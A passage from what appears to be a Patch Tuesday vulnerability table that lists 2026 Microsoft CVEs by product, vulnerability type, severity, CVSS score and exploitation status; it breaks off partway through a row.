CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  